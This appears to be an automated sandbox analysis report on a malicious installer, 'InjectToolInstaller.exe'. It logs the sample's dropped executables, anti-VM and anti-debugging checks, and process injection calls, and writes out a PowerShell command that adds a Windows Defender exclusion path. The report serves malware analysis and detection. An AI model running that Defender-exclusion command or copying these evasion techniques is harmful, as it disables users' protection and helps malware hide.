Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Memory allocated: 510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Memory allocated: 2380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Memory allocated: 21E0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

48_2_005B3A40

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5104
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1688
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3694
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Window / User API: threadDelayed 370

Source: C:\Users\user\AppData\Local\Temp\data.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_24-20665
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3644	Thread sleep count: 5104 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3628	Thread sleep count: 1688 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3688	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3692	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3764	Thread sleep count: 1570 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3764	Thread sleep count: 3694 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3812	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3820	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3740	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe TID: 3560	Thread sleep count: 370 > 30
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe TID: 3620	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe TID: 3620	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe TID: 3572	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe TID: 3616	Thread sleep count: 51 > 30
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe TID: 1384	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_005B7D40 GetKeyboardLayoutList followed by cmp: cmp eax, 2eh and CTI: jc 005B7D50h country: Upper Sorbian (hsb)

48_2_005B7D40

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_005E4670 GetSystemTime followed by cmp: cmp eax, 04h and CTI: jc 005E46C1h

48_2_005E4670

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013AABAF FindFirstFileA,FindFirstFileW,	0_2_013AABAF
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E783F FindFirstFileExA,	0_2_013E783F
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E7AF7 FindFirstFileExW,FindClose,FindNextFileW,	0_2_013E7AF7
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E7CAD FindFirstFileExA,	0_2_013E7CAD
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E7CD8 FindFirstFileExW,	0_2_013E7CD8
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F29DDB0 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	24_2_000000013F29DDB0
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2C4150 FindFirstFileExA,	24_2_000000013F2C4150
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B3000 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,swprintf,SetDlgItemTextW,FindClose,swprintf,SetDlgItemTextW,SendDlgItemMessageW,swprintf,SetDlgItemTextW,swprintf,SetDlgItemTextW,	24_2_000000013F2B3000
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0055E150 CreateDirectoryA,CreateDirectoryA,FindFirstFileA,GetLastError,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,CreateDirectoryA,SHGetFolderPathA,GetFileAttributesA,GetFileAttributesA,GetLastError,GetLastError,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetFileAttributesA,GetLastError,__Mtx_unlock,GetFileAttributesA,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,__Mtx_unlock,	48_2_0055E150
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058E2D0 SHGetFolderPathA,GetFileAttributesA,GetFileAttributesA,GetLastError,GetLastError,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CopyFileA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,CopyFileA,CopyFileA,__Mtx_unlock,__Mtx_unlock,	48_2_0058E2D0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0055A750 FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,__Mtx_unlock,	48_2_0055A750
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00570D83 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	48_2_00570D83
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0062D997 FindClose,FindFirstFileExW,GetLastError,	48_2_0062D997
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0064CD90 FindFirstFileExW,	48_2_0064CD90

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Code function: 0_2_013AAEC5 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z,__EH_prolog3,GetLogicalDriveStringsA,GetLogicalDriveStringsA,GetLogicalDriveStringsW,GetLogicalDriveStringsW,

0_2_013AAEC5

Source: C:\Users\user\AppData\Local\Temp\data.exe

Code function: 24_2_000000013F2B5F78 VirtualQuery,GetSystemInfo,

24_2_000000013F2B5F78

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\build	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\build\lib	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\ansi-regex	Jump to behavior

Source: InjectToolInstaller.exe	Binary or memory string: HGFs"
Source: insta313tg.exe, 0000002A.00000002.470471234.000000000254E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: explorer9SbieDll.dll:select * from Win32_BIOS8Unexpected WMI query failure;version<SerialNumber>VMware\|VIRTUAL\|A M I\|Xen?select * from Win32_ComputerSystem@manufacturerAmodelBMicrosoft\|VMWare\|VirtualCjohnDannaExxxxxxxx
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: crosoft\|VMWare\|Virtual
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: p 1:en-US:VMware\|VIRTUAL\|A M I\|Xen
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: p 1:en-US:Microsoft\|VMWare\|Virtual

Source: C:\Users\user\AppData\Local\Temp\data.exe

API call chain: ExitProcess graph end node

graph_24-21064

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 42_2_04A041A8 CheckRemoteDebuggerPresent,

42_2_04A041A8

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Code function: 0_2_013C0C8C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_013C0C8C

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_005B4577 CreateThread,CloseHandle,Sleep,GetTempPathA,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,SetCurrentDirectoryA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,shutdown,closesocket,WSACleanup,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,Sleep,Sleep,Sleep,GetModuleHandleA,GetProcAddress,GetCurrentProcess,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,CreateThread,CreateThread,CreateThread,FreeLibrary,WaitForSingleObject,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,WaitForSingleObject,CloseHandle,OutputDebugStringA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,Sleep,Sleep,shutdown,closesocket,Sleep,

48_2_005B4577

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_0058C7F0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

48_2_0058C7F0

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013CF82F mov eax, dword ptr fs:[00000030h]	0_2_013CF82F
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013CF8BD mov eax, dword ptr fs:[00000030h]	0_2_013CF8BD
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0056C155 mov eax, dword ptr fs:[00000030h]	48_2_0056C155
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov ecx, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577 mov eax, dword ptr fs:[00000030h]	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058D910 mov eax, dword ptr fs:[00000030h]	48_2_0058D910
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B3A40 mov eax, dword ptr fs:[00000030h]	48_2_005B3A40
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B3A40 mov eax, dword ptr fs:[00000030h]	48_2_005B3A40
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B3E4B mov eax, dword ptr fs:[00000030h]	48_2_005B3E4B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B3E4B mov eax, dword ptr fs:[00000030h]	48_2_005B3E4B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B3E4B mov eax, dword ptr fs:[00000030h]	48_2_005B3E4B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B3E4B mov eax, dword ptr fs:[00000030h]	48_2_005B3E4B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00570010 mov eax, dword ptr fs:[00000030h]	48_2_00570010
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00564280 mov eax, dword ptr fs:[00000030h]	48_2_00564280
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0056C155 mov eax, dword ptr fs:[00000030h]	48_2_0056C155
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4638 mov eax, dword ptr fs:[00000030h]	48_2_005B4638
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0 mov eax, dword ptr fs:[00000030h]	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0056C155 mov eax, dword ptr fs:[00000030h]	48_2_0056C155
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00564DC9 mov eax, dword ptr fs:[00000030h]	48_2_00564DC9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4EC8 mov eax, dword ptr fs:[00000030h]	48_2_005B4EC8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0056C155 mov eax, dword ptr fs:[00000030h]	48_2_0056C155
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00565498 mov eax, dword ptr fs:[00000030h]	48_2_00565498
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0056C155 mov eax, dword ptr fs:[00000030h]	48_2_0056C155
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005657B8 mov eax, dword ptr fs:[00000030h]	48_2_005657B8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B57A3 mov eax, dword ptr fs:[00000030h]	48_2_005B57A3
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B59E5 mov eax, dword ptr fs:[00000030h]	48_2_005B59E5
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00565A10 mov ecx, dword ptr fs:[00000030h]	48_2_00565A10

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Code function: 0_2_013ED3E1 GetProcessHeap,

0_2_013ED3E1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C0E21 SetUnhandledExceptionFilter,	0_2_013C0E21
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C00D5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_013C00D5
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C0C8C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_013C0C8C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E4F8A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_013E4F8A
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B6FF0 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	24_2_000000013F2B6FF0
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B756C SetUnhandledExceptionFilter,	24_2_000000013F2B756C
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B7388 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_000000013F2B7388
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2BBB94 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_000000013F2BBB94
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B6894 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_000000013F2B6894
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0063006D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	48_2_0063006D
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_006345A4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_006345A4
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0062FCC4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_0062FCC4

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_00569F50 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

48_2_00569F50

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Memory written: C:\Users\user\AppData\Local\Temp\insta313tg.exe base: 550000 value starts with: 4D5A

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7zS48C4B291\run.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\installer.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\1.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
